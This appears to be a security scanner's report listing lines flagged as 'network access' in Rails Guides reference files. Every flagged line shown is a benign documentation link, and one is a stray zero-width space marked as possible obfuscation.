    [`remove_index`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_index [`remove_reference`]:
  • Network accessline 974
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_index
  • Network accessline 975
    [`remove_reference`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_reference [`remove_timestamps`]:
  • Network accessline 976
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_reference
  • Network accessline 977
    [`remove_timestamps`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_timestamps [`rename_column`]:
  • Network accessline 978
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_timestamps
  • Network accessline 979
    [`rename_column`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_column [`remove_columns`]:
  • Network accessline 980
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_column
  • Network accessline 981
    [`remove_columns`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_columns [`rename_index`]:
  • Network accessline 982
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_columns
  • Network accessline 983
    [`rename_index`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_index [`rename_table`]:
  • Network accessline 984
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_index
  • Network accessline 986
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_table
  • Network accessline 1067
    [`reversible`]:     https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-reversible
  • Network accessline 1068
    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-reversible
  • Network accessline 1202
    [`revert`]:     https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-revert
  • Network accessline 1203
    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-revert
  • Network accessline 1448
    [`say`]:     https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say
  • Network accessline 1449
    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say
  • Network accessline 1450
    [`say_with_time`]:     https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say_with_time [`suppress_messages`]:
  • Network accessline 1451
    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say_with_time
  • Network accessline 1453
    https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-suppress_messages
  • Network accessline 1832
    Instead consider using the built-in `script/` directory or a dedicated gem such as [`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks).
  • Network accessline 1833
    such as [`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks).
  • Network accessline 1839
    If you require more functionality, then the [`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks) gem provides a framework for
  • Network accessline 1840
    [`maintenance_tasks`](https://github.com/Shopify/maintenance_tasks) gem provides a framework for
  • Network accessline 1956
    [`ActiveRecord::Migration::DefaultStrategy`]:     https://api.rubyonrails.org/classes/ActiveRecord/Migration/DefaultStrategy.html
  • Network accessline 1957
    https://api.rubyonrails.org/classes/ActiveRecord/Migration/DefaultStrategy.html
  • Network accessline 1958
    [`ActiveRecord::Migration::ExecutionStrategy`]:     https://api.rubyonrails.org/classes/ActiveRecord/Migration/ExecutionStrategy.html [`config.active_record.migration_strategy`]:
  • Network accessline 1959
    https://api.rubyonrails.org/classes/ActiveRecord/Migration/ExecutionStrategy.html
  • Network accessline 1961
    configuring.html#config-active-record-migration-strategy [`ActiveRecord::ConnectionAdapters::SchemaStatements`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html
  • Network accessline 1963
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html

packages/autoskills/skills-registry/rails-guides/references/active_record_multiple_databases.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**

packages/autoskills/skills-registry/rails-guides/references/active_record_postgresql.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 36
    * [type definition](https://www.postgresql.org/docs/current/static/datatype-binary.html)
  • Network accessline 37
    * [functions and operators](https://www.postgresql.org/docs/current/static/functions-binarystring.html)
  • Network accessline 60
    * [type definition](https://www.postgresql.org/docs/current/static/arrays.html)
  • Network accessline 61
    * [functions and operators](https://www.postgresql.org/docs/current/static/functions-array.html)
  • Network accessline 98
    * [type definition](https://www.postgresql.org/docs/current/static/hstore.html)
  • Network accessline 99
    * [functions and operators](https://www.postgresql.org/docs/current/static/hstore.html#id-1.11.7.26.5)
  • Network accessline 135
    * [type definition](https://www.postgresql.org/docs/current/static/datatype-json.html)
  • Network accessline 136
    * [functions and operators](https://www.postgresql.org/docs/current/static/functions-json.html)
  • Network accessline 170
    * [type definition](https://www.postgresql.org/docs/current/static/rangetypes.html)
  • Network accessline 171
    * [functions and operators](https://www.postgresql.org/docs/current/static/functions-range.html)
  • Network accessline 173
    This type is mapped to Ruby [`Range`](https://docs.ruby-lang.org/en/master/Range.html) objects.
  • Network accessline 209
    * [type definition](https://www.postgresql.org/docs/current/static/rowtypes.html)
  • Network accessline 253
    * [type definition](https://www.postgresql.org/docs/current/static/datatype-enum.html)
  • Network accessline 255
    The type can be mapped as a normal text column, or to an [`ActiveRecord::Enum`](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html).
  • Network accessline 339
    NOTE: Enum values can't be dropped, which also means add_enum_value is irreversible. You can read why [here](https://www.postgresql.org/message-id/29F36C7C98AB09499B1A209D48EAA615B7653DBC8A@mail2a.alliedtesting.com).
  • Network accessline 363
    * [type definition](https://www.postgresql.org/docs/current/static/datatype-uuid.html)
  • Network accessline 364
    * [pgcrypto generator function](https://www.postgresql.org/docs/current/static/pgcrypto.html)
  • Network accessline 420
    * [type definition](https://www.postgresql.org/docs/current/static/datatype-bit.html)
  • Network accessline 421
    * [functions and operators](https://www.postgresql.org/docs/current/static/functions-bitstring.html)
  • Network accessline 449
    * [type definition](https://www.postgresql.org/docs/current/static/datatype-net-types.html)
  • Network accessline 451
    The types `inet` and `cidr` are mapped to Ruby [`IPAddr`](https://docs.ruby-lang.org/en/master/IPAddr.html)
  • Network accessline 452
    [`IPAddr`](https://docs.ruby-lang.org/en/master/IPAddr.html)
  • Network accessline 485
    * [type definition](https://www.postgresql.org/docs/current/static/datatype-geometric.html)
  • Network accessline 492
    * [type definition](https://www.postgresql.org/docs/current/static/datatype-datetime.html#DATATYPE-INTERVAL-INPUT)
  • Network accessline 493
    * [functions and operators](https://www.postgresql.org/docs/current/static/functions-datetime.html)
  • Network accessline 495
    This type is mapped to [`ActiveSupport::Duration`](https://api.rubyonrails.org/classes/ActiveSupport/Duration.html) objects.
  • Network accessline 520
    * [Date/Time Types](https://www.postgresql.org/docs/current/datatype-datetime.html)
  • Network accessline 532
    While this works ok, [PostgreSQL best practices](https://wiki.postgresql.org/wiki/Don't_Do_This#Don.27t_use_timestamp_.28without_time_zone.29) recommend that `timestamp with time zone` is used instead for timezone-aware timestamps.
  • Network accessline 593
    * [index creation](https://www.postgresql.org/docs/current/sql-createindex.html)
  • Network accessline 595
    PostgreSQL includes a variety of index options. The following options are supported by the PostgreSQL adapter in addition to the [common index options](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.htm
  • Network accessline 597
    [common index options](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index)
  • Network accessline 643
    * [foreign key table constraints](https://www.postgresql.org/docs/current/sql-set-constraints.html)
  • Network accessline 678
    * [unique constraints](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-UNIQUE-CONSTRAINTS)
  • Network accessline 699
    * [exclusion constraints](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-EXCLUSION)
  • Network accessline 765
    * [view creation](https://www.postgresql.org/docs/current/static/sql-createview.html)
  • Network accessline 853
    [explain-options]: active_record_querying.html#explain-options [explain-analyze-buffers]: https://www.postgresql.org/docs/current/sql-explain.html
  • Network accessline 854
    [explain-analyze-buffers]: https://www.postgresql.org/docs/current/sql-explain.html

packages/autoskills/skills-registry/rails-guides/references/active_record_querying.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 155
    [`ActiveRecord::Relation`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html
  • Network accessline 156
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html
  • Network accessline 157
    [`ActiveRecord::QueryMethods`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html [`ActiveRecord::FinderMethods`]:
  • Network accessline 158
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html
  • Network accessline 159
    [`ActiveRecord::FinderMethods`]:     https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html [`distinct`]:
  • Network accessline 160
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html
  • Network accessline 161
    [`distinct`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-distinct [`eager_load`]:
  • Network accessline 162
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-distinct
  • Network accessline 163
    [`eager_load`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-eager_load [`find`]:
  • Network accessline 164
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-eager_load
  • Network accessline 165
    [`find`]:     https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find [`group`]:
  • Network accessline 166
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find
  • Network accessline 167
    [`group`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-group [`having`]:
  • Network accessline 168
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-group
  • Network accessline 169
    [`having`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-having [`includes`]:
  • Network accessline 170
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-having
  • Network accessline 171
    [`includes`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-includes [`joins`]:
  • Network accessline 172
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-includes
  • Network accessline 173
    [`joins`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-joins [`left_outer_joins`]:
  • Network accessline 174
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-joins
  • Network accessline 175
    [`left_outer_joins`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-left_outer_joins [`limit`]:
  • Network accessline 176
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-left_outer_joins
  • Network accessline 177
    [`limit`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit [`lock`]:
  • Network accessline 178
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit
  • Network accessline 179
    [`lock`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-lock [`none`]:
  • Network accessline 180
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-lock
  • Network accessline 181
    [`none`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-none [`offset`]:
  • Network accessline 182
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-none
  • Network accessline 183
    [`offset`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-offset [`order`]:
  • Network accessline 184
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-offset
  • Network accessline 185
    [`order`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order [`preload`]:
  • Network accessline 186
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order
  • Network accessline 187
    [`preload`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-preload [`readonly`]:
  • Network accessline 188
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-preload
  • Network accessline 189
    [`readonly`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-readonly [`references`]:
  • Network accessline 190
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-readonly
  • Network accessline 191
    [`references`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-references [`reorder`]:
  • Network accessline 192
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-references
  • Network accessline 193
    [`reorder`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reorder [`reselect`]:
  • Network accessline 194
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reorder
  • Network accessline 195
    [`reselect`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reselect [`regroup`]:
  • Network accessline 196
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reselect
  • Network accessline 197
    [`regroup`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup [`reverse_order`]:
  • Network accessline 198
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup
  • Network accessline 199
    [`reverse_order`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reverse_order [`select`]:
  • Network accessline 200
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reverse_order
  • Network accessline 201
    [`select`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-select [`where`]:
  • Network accessline 202
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-select
  • Network accessline 203
    [`where`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where [`with_lock`]:
  • Network accessline 204
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where
  • Network accessline 205
    [`with_lock`]:     https://api.rubyonrails.org/classes/ActiveRecord/Locking/Pessimistic.html#method-i-with_lock [`sqlcourse`]: https://www.khanacademy.org/computing/computer-programming/sql
  • Network accessline 206
    https://api.rubyonrails.org/classes/ActiveRecord/Locking/Pessimistic.html#method-i-with_lock
  • Network accessline 207
    [`sqlcourse`]: https://www.khanacademy.org/computing/computer-programming/sql
  • Network accessline 208
    [`rdbmsinfo`]: https://www.devart.com/what-is-rdbms/
  • Network accessline 303
    [`take`]:     https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take
  • Network accessline 304
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take
  • Network accessline 306
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take-21
  • Network accessline 369
    [`first`]:     https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first
  • Network accessline 370
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first
  • Network accessline 372
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first-21
  • Network accessline 435
    [`last`]:     https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last
  • Network accessline 436
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last
  • Network accessline 438
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last-21
  • Network accessline 489
    [`find_by`]:     https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by
  • Network accessline 490
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by
  • Network accessline 492
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by-21
  • Network accessline 583
    [`all`]:     https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-all
  • Network accessline 584
    https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-all
  • Network accessline 585
    [`where`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where [`order`]:
  • Network accessline 586
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where
  • Network accessline 587
    [`order`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order [`limit`]:
  • Network accessline 588
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order
  • Network accessline 589
    [`limit`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit [`group`]:
  • Network accessline 590
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit
  • Network accessline 592
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-group
  • Network accessline 596
    Active Record supports [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining), which allows us to use
  • Network accessline 597
    Chaining](https://en.wikipedia.org/wiki/Method_chaining), which allows us to use
  • Network accessline 678
    [`find_by_sql`]:     https://api.rubyonrails.org/classes/ActiveRecord/Querying.html#method-i-find_by_sql
  • Network accessline 679
    https://api.rubyonrails.org/classes/ActiveRecord/Querying.html#method-i-find_by_sql
  • Network accessline 694
    [`lease_connection.select_all`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-select_all
  • Network accessline 695
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-select_all
  • Network accessline 791
    [`pluck`]:     https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pluck
  • Network accessline 792
    https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pluck
  • Possible obfuscationline 798
    the first row of the specified column values <U+200B><U+200B>with corresponding data type.
  • Network accessline 815
    [`pick`]:     https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pick
  • Network accessline 816
    https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pick
  • Network accessline 841
    [`ids`]:     https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-ids
  • Network accessline 842
    https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-ids
  • Network accessline 914
    [`find_or_create_by`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by
  • Network accessline 915
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by
  • Network accessline 936
    [`find_or_create_by!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by-21
  • Network accessline 937
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by-21
  • Network accessline 972
    [`find_or_initialize_by`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_initialize_by
  • Network accessline 973
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_initialize_by
  • Network accessline 1028
    [`create_or_find_by`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-create_or_find_by
  • Network accessline 1029
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-create_or_find_by
  • Network accessline 1054
    [`create_or_find_by!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-create_or_find_by-21
  • Network accessline 1055
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-create_or_find_by-21
  • Network accessline 1158
    [`exists?`]:     https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F
  • Network accessline 1159
    https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F
  • Network accessline 1229
    configuring.html#config-active-record-error-on-ignored-order [`find_each`]:     https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_each
  • Network accessline 1231
    https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_each
  • Network accessline 1326
    [`find_in_batches`]:     https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_in_batches
  • Network accessline 1327
    https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_in_batches
  • Network accessline 1481
    [`sanitize_sql_like`]:     https://api.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql_like
  • Network accessline 1482
    https://api.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql_like
  • Network accessline 1613
    [`where.not`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods/WhereChain.html#method-i-not
  • Network accessline 1614
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods/WhereChain.html#method-i-not
  • Network accessline 1629
    [`or`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-or
  • Network accessline 1630
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-or
  • Network accessline 1656
    [`and`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-and
  • Network accessline 1657
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-and
  • Network accessline 1854
    [`count`]:     https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-count
  • Network accessline 1855
    https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-count
  • Network accessline 1955
    [`unscope`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-unscope
  • Network accessline 1956
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-unscope
  • Network accessline 1995
    [`unscoped`]:     https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped
  • Network accessline 1996
    https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped
  • Network accessline 2024
    [`only`]:     https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-only
  • Network accessline 2025
    https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-only
  • Network accessline 2063
    [`except`]:     https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-except
  • Network accessline 2064
    https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-except
  • Network accessline 2198
    [`rewhere`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-rewhere
  • Network accessline 2199
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-rewhere
  • Network accessline 2230
    [`regroup`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup
  • Network accessline 2231
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-regroup
  • Network accessline 2863
    [`strict_loading`]:     https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-strict_loading
  • Network accessline 2864
    https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-strict_loading
  • Network accessline 2893
    [`strict_loading!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Core.html#method-i-strict_loading-21
  • Network accessline 2894
    https://api.rubyonrails.org/classes/ActiveRecord/Core.html#method-i-strict_loading-21
  • Network accessline 2940
    [`scope`]:     https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-scope
  • Network accessline 2941
    https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-scope
  • Network accessline 3086
    [`default_scope`]:     https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-default_scope
  • Network accessline 3087
    https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-default_scope
  • Network accessline 3161
    [`merge`]:     https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-merge
  • Network accessline 3162
    https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-merge
  • Network accessline 3216
    [`scoping`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-scoping
  • Network accessline 3217
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-scoping
  • Network accessline 3253
    [`unscoped`]:     https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped
  • Network accessline 3254
    https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped
  • Network accessline 3310
    You can read more about enums in the [ActiveRecord::Enum documentation](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html).
  • Network accessline 3311
    documentation](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html).
  • Network accessline 3313
    [`enum`]:     https://api.rubyonrails.org/classes/ActiveRecord/Enum.html#method-i-enum
  • Network accessline 3314
    https://api.rubyonrails.org/classes/ActiveRecord/Enum.html#method-i-enum
  • Network accessline 3383
    [`average`]:     https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-average
  • Network accessline 3384
    https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-average
  • Network accessline 3397
    [`minimum`]:     https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-minimum
  • Network accessline 3398
    https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-minimum
  • Network accessline 3410
    [`maximum`]:     https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-maximum
  • Network accessline 3411
    https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-maximum
  • Network accessline 3424
    [`sum`]:     https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-sum
  • Network accessline 3425
    https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-sum
  • Network accessline 3541
    [`explain`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-explain
  • Network accessline 3542
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-explain
  • Network accessline 3598
    [MySQL5.7-explain]: https://dev.mysql.com/doc/refman/5.7/en/explain.html
  • Network accessline 3599
    [MySQL8-explain]: https://dev.mysql.com/doc/refman/8.0/en/explain.html
  • Network accessline 3600
    [MariaDB-explain]: https://mariadb.com/kb/en/analyze-and-explain-statements/
  • Network accessline 3607
    * SQLite3: [EXPLAIN QUERY PLAN](https://www.sqlite.org/eqp.html)
  • Network accessline 3609
    * MySQL: [EXPLAIN Output   Format](https://dev.mysql.com/doc/refman/en/explain-output.html)
  • Network accessline 3610
    Format](https://dev.mysql.com/doc/refman/en/explain-output.html)
  • Network accessline 3612
    * MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/)
  • Network accessline 3614
    * PostgreSQL: [Using   EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html)
  • Network accessline 3615
    EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html)

packages/autoskills/skills-registry/rails-guides/references/active_record_validations.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 145
    [`create`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create
  • Network accessline 146
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create
  • Network accessline 147
    [`create!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create-21 [`save`]:
  • Network accessline 148
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence/ClassMethods.html#method-i-create-21
  • Network accessline 149
    [`save`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save [`save!`]:
  • Network accessline 150
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save
  • Network accessline 151
    [`save!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save-21 [`update`]:
  • Network accessline 152
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-save-21
  • Network accessline 153
    [`update`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update [`update!`]:
  • Network accessline 154
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update
  • Network accessline 156
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update-21
  • Network accessline 189
    [`decrement!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21
  • Network accessline 190
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21
  • Network accessline 191
    [`decrement_counter`]:     https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter [`increment!`]:
  • Network accessline 192
    https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter
  • Network accessline 193
